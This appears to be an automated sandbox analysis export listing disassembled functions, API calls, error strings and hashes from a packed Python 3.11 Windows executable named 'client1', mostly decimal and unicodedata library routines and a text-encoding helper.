
Part of subcall function 00007FFBAA6FE780: PyContextVar_Get.PYTHON311(?,?,?,?,00007FFBAA6F1345), ref: 00007FFBAA6FE792

PyArg_ParseTupleAndKeywords.PYTHON311 ref: 00007FFBAA709124
_PyObject_New.PYTHON311 ref: 00007FFBAA70914E

Part of subcall function 00007FFBAA709224: PyObject_CallObject.PYTHON311(?,?,?,00007FFBAA708D84,?,?,?,00007FFBAA6FE7B4,?,?,?,?,00007FFBAA6F1345), ref: 00007FFBAA709236

Part of subcall function 00007FFBAA709530: PyLong_AsSsize_t.PYTHON311(?,00000001,?,00007FFBAA7091C1), ref: 00007FFBAA709552
Part of subcall function 00007FFBAA709530: PyLong_AsSsize_t.PYTHON311(?,00000001,?,00007FFBAA7091C1), ref: 00007FFBAA7095BC
Part of subcall function 00007FFBAA709530: PyLong_AsSsize_t.PYTHON311(?,00000001,?,00007FFBAA7091C1), ref: 00007FFBAA7095ED
Part of subcall function 00007FFBAA709530: PyLong_AsSsize_t.PYTHON311(?,00000001,?,00007FFBAA7091C1), ref: 00007FFBAA709618
Part of subcall function 00007FFBAA709530: PyLong_AsSsize_t.PYTHON311(?,00000001,?,00007FFBAA7091C1), ref: 00007FFBAA709644
Part of subcall function 00007FFBAA709530: PyList_Size.PYTHON311(?,00000001,?,00007FFBAA7091C1), ref: 00007FFBAA7096BF
Part of subcall function 00007FFBAA709530: PyList_GetItem.PYTHON311(?,00000001,?,00007FFBAA7091C1), ref: 00007FFBAA7096D9

PyErr_SetString.PYTHON311 ref: 00007FFBAA709206
_Py_Dealloc.PYTHON311 ref: 00007FFBAA709217
_Py_Dealloc.PYTHON311 ref: 00007FFBAA715AB5

Strings

optional argument must be a context, xrefs: 00007FFBAA7091FC
|OOOOOOOOO, xrefs: 00007FFBAA7090DE

Memory Dump Source

Source File: 00000002.00000002.2693167366.00007FFBAA6F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FFBAA6F0000, based on PE: true

Associated: 00000002.00000002.2693151925.00007FFBAA6F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693193696.00007FFBAA719000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693211520.00007FFBAA727000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693226656.00007FFBAA728000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693243662.00007FFBAA729000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693259098.00007FFBAA72A000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa6f0000_client1.jbxd

Similarity

API ID: Long_Ssize_t$DeallocList_Object_$Arg_CallContextErr_ItemKeywordsObjectParseSizeStringTupleVar_
String ID: optional argument must be a context$|OOOOOOOOO
API String ID: 3005893858-3543545731
Opcode ID: 20bfc773aaa9baadce4829a30318245846150dfbfc53dc953c256facbe83290d
Instruction ID: a8098e27343b4e030ffe19f0cd77906ad72efccfc20bc4b93bac7e6f595e92cd
Opcode Fuzzy Hash: 20bfc773aaa9baadce4829a30318245846150dfbfc53dc953c256facbe83290d
Instruction Fuzzy Hash: 76512C7660BF41D8DB518F31E8802AA33E8FB48788B140176EE4D43B68EF39D566C360

Function 00007FFBAA731590 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 112COMMON

Download Yara Rule

APIs

PyType_IsSubtype.PYTHON311 ref: 00007FFBAA731668
PyUnicode_FromString.PYTHON311 ref: 00007FFBAA73168D
_PyArg_BadArgument.PYTHON311 ref: 00007FFBAA7338AE
_PyUnicode_Ready.PYTHON311 ref: 00007FFBAA7338BE

Strings

bidirectional, xrefs: 00007FFBAA7338A7
argument, xrefs: 00007FFBAA7338A0
a unicode character, xrefs: 00007FFBAA733899

Memory Dump Source

Source File: 00000002.00000002.2693290777.00007FFBAA731000.00000020.00000001.01000000.00000015.sdmp, Offset: 00007FFBAA730000, based on PE: true

Associated: 00000002.00000002.2693275344.00007FFBAA730000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA735000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA792000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA7DE000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA7E1000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA7E6000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA840000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693474597.00007FFBAA843000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693491810.00007FFBAA845000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa730000_client1.jbxd

Similarity

API ID: Unicode_$Arg_ArgumentFromReadyStringSubtypeType_
String ID: a unicode character$argument$bidirectional
API String ID: 2803103377-2110215792
Opcode ID: 79e1f8ae2df2e93481f857dbc231cf2a034c20faf15badcceea9109bcd0af3e1
Instruction ID: 2275772b04e154faeb5e6fafb45d682edb3b5200b540c761118778ae912342f6
Opcode Fuzzy Hash: 79e1f8ae2df2e93481f857dbc231cf2a034c20faf15badcceea9109bcd0af3e1
Instruction Fuzzy Hash: AD41F4E1B0A642C2EB669F3AD46427B23A9EB44B44F5A4175DF4E43294DF2CE842C330

Function 00007FFBAA6FD3B0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 111COMMON

Download Yara Rule

APIs

_PyObject_New.PYTHON311(?,?,?,?,?,?,00000000,00000000,?,00007FFBAA6FCA18), ref: 00007FFBAA6FD3DB

Part of subcall function 00007FFBAA6FD550: isdigit.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,00007FFBAA6FCA18), ref: 00007FFBAA6FD654
Part of subcall function 00007FFBAA6FD550: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,00007FFBAA6FCA18), ref: 00007FFBAA6FD687
Part of subcall function 00007FFBAA6FD550: strtoll.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,00007FFBAA6FCA18), ref: 00007FFBAA6FD69F
Part of subcall function 00007FFBAA6FD550: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,00007FFBAA6FCA18), ref: 00007FFBAA6FD6A8

PyErr_SetObject.PYTHON311 ref: 00007FFBAA6FD4ED
_Py_Dealloc.PYTHON311 ref: 00007FFBAA6FD506
PyErr_SetString.PYTHON311 ref: 00007FFBAA71388E

Strings

internal error in flags_as_exception, xrefs: 00007FFBAA713884

Memory Dump Source

Source File: 00000002.00000002.2693167366.00007FFBAA6F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FFBAA6F0000, based on PE: true

Associated: 00000002.00000002.2693151925.00007FFBAA6F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693193696.00007FFBAA719000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693211520.00007FFBAA727000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693226656.00007FFBAA728000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693243662.00007FFBAA729000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693259098.00007FFBAA72A000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa6f0000_client1.jbxd

Similarity

API ID: Err__errno$DeallocObjectObject_Stringisdigitstrtoll
String ID: internal error in flags_as_exception
API String ID: 2528243369-882050087
Opcode ID: 2024769f93f09b39f1195a023df791e52d7bef74684774e22054ac2402435ec6
Instruction ID: 279f13c627e511cf91883529a0e8f1eb3c61faae99fcaea3d826edaee253a1c2
Opcode Fuzzy Hash: 2024769f93f09b39f1195a023df791e52d7bef74684774e22054ac2402435ec6
Instruction Fuzzy Hash: E9417FB2A0A642C2E7128F39E44027E77A8FB84B58F144176DE4D037A4DF3CE44ACB60

Function 00007FF79F627600 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 103COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF79F62101D), ref: 00007FF79F62769F
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF79F62101D), ref: 00007FF79F6276EF

Strings

Out of memory., xrefs: 00007FF79F627721
win32_utils_to_utf8, xrefs: 00007FF79F627728
WideCharToMultiByte, xrefs: 00007FF79F627738
Failed to get UTF-8 buffer size., xrefs: 00007FF79F627731
Failed to encode wchar_t as UTF-8., xrefs: 00007FF79F627718

Memory Dump Source

Source File: 00000002.00000002.2693036603.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000002.00000002.2693018203.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693061814.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F660000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693132419.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff79f620000_client1.jbxd

Similarity

API ID: ByteCharMultiWide
String ID: Failed to encode wchar_t as UTF-8.$Failed to get UTF-8 buffer size.$Out of memory.$WideCharToMultiByte$win32_utils_to_utf8
API String ID: 626452242-27947307
Opcode ID: 43851299e65b878553ee9477cdfb9aa8b38a7a1e3001ba9c1eb6bb9cebf00e3a
Instruction ID: 33d6bd8a595d56ce9ed342310b45cadffa52998b593ac2e599da2ee738bada72
Opcode Fuzzy Hash: 43851299e65b878553ee9477cdfb9aa8b38a7a1e3001ba9c1eb6bb9cebf00e3a
Instruction Fuzzy Hash: BB414F32A08BC286DA30EF25B8405EAE7AAFB84790F944135DEAD87B95DF7CD451C710

Function 00007FFBAA706414 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFBAA6FE780: PyContextVar_Get.PYTHON311(?,?,?,?,00007FFBAA6F1345), ref: 00007FFBAA6FE792

PyArg_ParseTuple.PYTHON311 ref: 00007FFBAA706461
PyLong_AsSsize_t.PYTHON311 ref: 00007FFBAA7064B6
_Py_Dealloc.PYTHON311 ref: 00007FFBAA70655C
PyErr_Occurred.PYTHON311 ref: 00007FFBAA706566
PyErr_SetString.PYTHON311 ref: 00007FFBAA706587
_Py_Dealloc.PYTHON311 ref: 00007FFBAA7153EB

Strings

optional arg must be an integer, xrefs: 00007FFBAA70657D

Memory Dump Source

Source File: 00000002.00000002.2693167366.00007FFBAA6F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FFBAA6F0000, based on PE: true

Associated: 00000002.00000002.2693151925.00007FFBAA6F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693193696.00007FFBAA719000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693211520.00007FFBAA727000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693226656.00007FFBAA728000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693243662.00007FFBAA729000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693259098.00007FFBAA72A000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa6f0000_client1.jbxd

Similarity

API ID: DeallocErr_$Arg_ContextLong_OccurredParseSsize_tStringTupleVar_
String ID: optional arg must be an integer
API String ID: 983638023-4289973456
Opcode ID: 0d090f48311a77842b732f7da3c24e88edeb1b5ad52d67a9959af1b0cf6dbba1
Instruction ID: b7b377422bc8b3d402dc5a4834732696ad3d0389abd55373b7ae09131125513e
Opcode Fuzzy Hash: 0d090f48311a77842b732f7da3c24e88edeb1b5ad52d67a9959af1b0cf6dbba1
Instruction Fuzzy Hash: BC41C3A1A0AB02D5EB12CF34D8506BA67A8AF04BA4F144271ED5E537E8DF7CD547C360

Function 00007FFBAA7092AC Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 96COMMON

Download Yara Rule

APIs

PyArg_ParseTupleAndKeywords.PYTHON311 ref: 00007FFBAA709300
PyErr_SetString.PYTHON311 ref: 00007FFBAA709401
_Py_Dealloc.PYTHON311 ref: 00007FFBAA709414

Part of subcall function 00007FFBAA6FE780: PyContextVar_Get.PYTHON311(?,?,?,?,00007FFBAA6F1345), ref: 00007FFBAA6FE792

_Py_Dealloc.PYTHON311 ref: 00007FFBAA715AED

Strings

internal error in PyDec_ToIntegralValue, xrefs: 00007FFBAA715B00
optional argument must be a context, xrefs: 00007FFBAA7093F7
|OO, xrefs: 00007FFBAA7092D7

Memory Dump Source

Source File: 00000002.00000002.2693167366.00007FFBAA6F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FFBAA6F0000, based on PE: true

Associated: 00000002.00000002.2693151925.00007FFBAA6F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693193696.00007FFBAA719000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693211520.00007FFBAA727000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693226656.00007FFBAA728000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693243662.00007FFBAA729000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693259098.00007FFBAA72A000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa6f0000_client1.jbxd

Similarity

API ID: Dealloc$Arg_ContextErr_KeywordsParseStringTupleVar_
String ID: internal error in PyDec_ToIntegralValue$optional argument must be a context$|OO
API String ID: 3219279049-179024453
Opcode ID: ba128b555d42788b89948501d1d5eec9c6d69c7b5bff48879edf53eb757dbdd8
Instruction ID: 41d89d126ae06f5cf8ed31765be99d9c99e8ae5687af4e841e03661c1100461f
Opcode Fuzzy Hash: ba128b555d42788b89948501d1d5eec9c6d69c7b5bff48879edf53eb757dbdd8
Instruction Fuzzy Hash: 88416CA2E0AB02D4EB12CF71D8500BA27A8BB84B88B144172DE4D52765DF3DE947C360

Function 00007FFBAA708EE8 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 96COMMON

Download Yara Rule

APIs

PyArg_ParseTupleAndKeywords.PYTHON311 ref: 00007FFBAA708F3C
PyErr_SetString.PYTHON311 ref: 00007FFBAA70903A
_Py_Dealloc.PYTHON311 ref: 00007FFBAA70904D

Part of subcall function 00007FFBAA6FE780: PyContextVar_Get.PYTHON311(?,?,?,?,00007FFBAA6F1345), ref: 00007FFBAA6FE792

_Py_Dealloc.PYTHON311 ref: 00007FFBAA715A93

Strings

internal error in PyDec_ToIntegralExact, xrefs: 00007FFBAA715AA6
optional argument must be a context, xrefs: 00007FFBAA709030
|OO, xrefs: 00007FFBAA708F13

Memory Dump Source

Source File: 00000002.00000002.2693167366.00007FFBAA6F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FFBAA6F0000, based on PE: true

Associated: 00000002.00000002.2693151925.00007FFBAA6F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693193696.00007FFBAA719000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693211520.00007FFBAA727000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693226656.00007FFBAA728000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693243662.00007FFBAA729000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693259098.00007FFBAA72A000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa6f0000_client1.jbxd

Similarity

API ID: Dealloc$Arg_ContextErr_KeywordsParseStringTupleVar_
String ID: internal error in PyDec_ToIntegralExact$optional argument must be a context$|OO
API String ID: 3219279049-1730305842
Opcode ID: 50c65c4b1bc77363ff9be1e0a7392776c951a964bc05d335280023a8a642108c
Instruction ID: 7cda7c79c03d169d4a0ddf92e3b12596c2a2493374c132a13735a71bf41924c5
Opcode Fuzzy Hash: 50c65c4b1bc77363ff9be1e0a7392776c951a964bc05d335280023a8a642108c
Instruction Fuzzy Hash: 30415CA1A0AB02D4EB12CF71D8501BA37B8BB44B88F544176DE0D62665DF3DE946C360

Function 00007FFBAA734498 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 87COMMON

Download Yara Rule

APIs

PyType_IsSubtype.PYTHON311 ref: 00007FFBAA7344CF
PyUnicode_FromString.PYTHON311 ref: 00007FFBAA7344EB
memcpy.VCRUNTIME140 ref: 00007FFBAA734567
PyOS_snprintf.PYTHON311 ref: 00007FFBAA7345A9
PyUnicode_FromStringAndSize.PYTHON311 ref: 00007FFBAA7345D6

Strings

%04X, xrefs: 00007FFBAA734594
, xrefs: 00007FFBAA73457F

Memory Dump Source

Source File: 00000002.00000002.2693290777.00007FFBAA731000.00000020.00000001.01000000.00000015.sdmp, Offset: 00007FFBAA730000, based on PE: true

Associated: 00000002.00000002.2693275344.00007FFBAA730000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA735000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA792000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA7DE000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA7E1000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA7E6000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA840000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693474597.00007FFBAA843000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693491810.00007FFBAA845000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa730000_client1.jbxd

Similarity

API ID: FromStringUnicode_$S_snprintfSizeSubtypeType_memcpy
String ID: $%04X
API String ID: 762632776-4013080060
Opcode ID: 86c188bc8851d71fee5143397eab43a3575e426cb52b14b86a1d2f1ad77da2b4
Instruction ID: b436c352c42d42cddae7b52aaf0ef157d3a3775e9f0e12301da6c464768cd2ad
Opcode Fuzzy Hash: 86c188bc8851d71fee5143397eab43a3575e426cb52b14b86a1d2f1ad77da2b4
Instruction Fuzzy Hash: 4331E5E2B0AA91C1EA269F24E8143BA63A4FF44B91F450375DE6E076D4DF2CD546C330

Function 00007FF79F627B40 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 63COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,00007FF79F623699), ref: 00007FF79F627B81

Part of subcall function 00007FF79F622620: GetLastError.KERNEL32(00000000,00000000,00000000,00007FF79F627744,?,?,?,?,?,?,?,?,?,?,?,00007FF79F62101D), ref: 00007FF79F622654
Part of subcall function 00007FF79F622620: MessageBoxW.USER32 ref: 00007FF79F62272C

WideCharToMultiByte.KERNEL32(?,00007FF79F623699), ref: 00007FF79F627BF5

Strings

Out of memory., xrefs: 00007FF79F627BBB
win32_utils_to_utf8, xrefs: 00007FF79F627BC2
WideCharToMultiByte, xrefs: 00007FF79F627B95, 00007FF79F627C06
Failed to get UTF-8 buffer size., xrefs: 00007FF79F627B8E
Failed to encode wchar_t as UTF-8., xrefs: 00007FF79F627BFF

Memory Dump Source

Source File: 00000002.00000002.2693036603.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000002.00000002.2693018203.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693061814.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F660000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693132419.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff79f620000_client1.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLastMessage
String ID: Failed to encode wchar_t as UTF-8.$Failed to get UTF-8 buffer size.$Out of memory.$WideCharToMultiByte$win32_utils_to_utf8
API String ID: 3723044601-27947307
Opcode ID: aced5f46d53ba3e30c592e5434d0d7ab1f54160dd14b943fd141642a19c75b6b
Instruction ID: 1e8ce1385f1be308a713286a7656a1a1fe8cec77417bdd035004f334b6dd1b24
Opcode Fuzzy Hash: aced5f46d53ba3e30c592e5434d0d7ab1f54160dd14b943fd141642a19c75b6b
Instruction Fuzzy Hash: 0D215E71B08B8285EB20BF35AC400F9B66ABB84B90F944535DA6D83754EF7CE5518321

Function 00007FFBAA709AEC Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

PyUnicode_CompareWithASCIIString.PYTHON311 ref: 00007FFBAA709B23
PyUnicode_CompareWithASCIIString.PYTHON311 ref: 00007FFBAA709B37
PyObject_GenericSetAttr.PYTHON311 ref: 00007FFBAA709B4A
PyErr_SetString.PYTHON311 ref: 00007FFBAA709B71

Strings

traps, xrefs: 00007FFBAA709B19
context attributes cannot be deleted, xrefs: 00007FFBAA709B67
flags, xrefs: 00007FFBAA709B2D

Memory Dump Source

Source File: 00000002.00000002.2693167366.00007FFBAA6F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FFBAA6F0000, based on PE: true

Associated: 00000002.00000002.2693151925.00007FFBAA6F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693193696.00007FFBAA719000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693211520.00007FFBAA727000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693226656.00007FFBAA728000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693243662.00007FFBAA729000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693259098.00007FFBAA72A000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa6f0000_client1.jbxd

Similarity

API ID: String$CompareUnicode_With$AttrErr_GenericObject_
String ID: context attributes cannot be deleted$flags$traps
API String ID: 1971858050-2893424353
Opcode ID: 16edd7599528b6f1408ea46245c3eb6fd496c10a5893597ea3cda9ca4bc5933a
Instruction ID: fe36870b91f89ca8e14e0f21e366c73b72ddf03e46468e9be7b5c450ea7e50b4
Opcode Fuzzy Hash: 16edd7599528b6f1408ea46245c3eb6fd496c10a5893597ea3cda9ca4bc5933a
Instruction Fuzzy Hash: 9C1194A0A0E642D1EA029F36E95027B6798AF84FE0F4445B1DD4D577B4CF1ED883C311

Function 00007FFBAA734A44 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 40COMMON

Download Yara Rule

APIs

_PyArg_BadArgument.PYTHON311 ref: 00007FFBAA734A7D
_PyUnicode_Ready.PYTHON311 ref: 00007FFBAA734A90
PyErr_Occurred.PYTHON311 ref: 00007FFBAA734ABA
PyLong_FromLong.PYTHON311 ref: 00007FFBAA734AC7

Strings

argument, xrefs: 00007FFBAA734A6F
mirrored, xrefs: 00007FFBAA734A76
a unicode character, xrefs: 00007FFBAA734A68

Memory Dump Source

Source File: 00000002.00000002.2693290777.00007FFBAA731000.00000020.00000001.01000000.00000015.sdmp, Offset: 00007FFBAA730000, based on PE: true

Associated: 00000002.00000002.2693275344.00007FFBAA730000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA735000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA792000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA7DE000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA7E1000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA7E6000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA840000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693474597.00007FFBAA843000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693491810.00007FFBAA845000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa730000_client1.jbxd

Similarity

API ID: Arg_ArgumentErr_FromLongLong_OccurredReadyUnicode_
String ID: a unicode character$argument$mirrored
API String ID: 3097524968-4001128513
Opcode ID: c10d4c018a97ffc3e2d3961057942d7e2c7a14af83ba5a253b81f33c79b69d04
Instruction ID: 207bfff4d5d88ae979768dde404c4e0ed1810e18b78c07bbafcda72534faf8e7
Opcode Fuzzy Hash: c10d4c018a97ffc3e2d3961057942d7e2c7a14af83ba5a253b81f33c79b69d04
Instruction Fuzzy Hash: 580108E0B0A653C5EA5ABF30E84417B2368EF04B55F4541B4DD1E46290DF3CE4C68334

Function 00007FFBAA7341C8 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 40COMMON

Download Yara Rule

APIs

_PyArg_BadArgument.PYTHON311 ref: 00007FFBAA734201
_PyUnicode_Ready.PYTHON311 ref: 00007FFBAA734214
PyErr_Occurred.PYTHON311 ref: 00007FFBAA73423E
PyLong_FromLong.PYTHON311 ref: 00007FFBAA73424B

Strings

combining, xrefs: 00007FFBAA7341FA
argument, xrefs: 00007FFBAA7341F3
a unicode character, xrefs: 00007FFBAA7341EC

Memory Dump Source

Source File: 00000002.00000002.2693290777.00007FFBAA731000.00000020.00000001.01000000.00000015.sdmp, Offset: 00007FFBAA730000, based on PE: true

Associated: 00000002.00000002.2693275344.00007FFBAA730000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA735000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA792000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA7DE000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA7E1000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA7E6000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA840000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693474597.00007FFBAA843000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693491810.00007FFBAA845000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa730000_client1.jbxd

Similarity

API ID: Arg_ArgumentErr_FromLongLong_OccurredReadyUnicode_
String ID: a unicode character$argument$combining
API String ID: 3097524968-4202047184
Opcode ID: 8dcec4442920f3b8f18acdd6a11acb662b49feb7bbe0bfb657696819d5b5ca8f
Instruction ID: 825443eadaa166db4b5fc1ab0edd0337a819084055def48d20ed12a3ebe61d6d
Opcode Fuzzy Hash: 8dcec4442920f3b8f18acdd6a11acb662b49feb7bbe0bfb657696819d5b5ca8f
Instruction Fuzzy Hash: 04012BE4F0AA53C6EA5AAF71E84417723A8AF44754F0581B4CD2E47290DF3CE4868334

Function 00007FFBAB495C40 Relevance: 12.1, APIs: 8, Instructions: 54threadCOMMON

Download Yara Rule

APIs

PyObject_GC_UnTrack.PYTHON311 ref: 00007FFBAB495C4D
_PyTrash_cond.PYTHON311 ref: 00007FFBAB495C5F
PyThreadState_Get.PYTHON311 ref: 00007FFBAB495C69
_PyTrash_begin.PYTHON311 ref: 00007FFBAB495C78
_Py_Dealloc.PYTHON311 ref: 00007FFBAB495CA4
_Py_Dealloc.PYTHON311 ref: 00007FFBAB495CC8
_Py_Dealloc.PYTHON311 ref: 00007FFBAB495CE5
_PyTrash_end.PYTHON311 ref: 00007FFBAB495D00

Memory Dump Source

Source File: 00000002.00000002.2695432092.00007FFBAB491000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FFBAB490000, based on PE: true

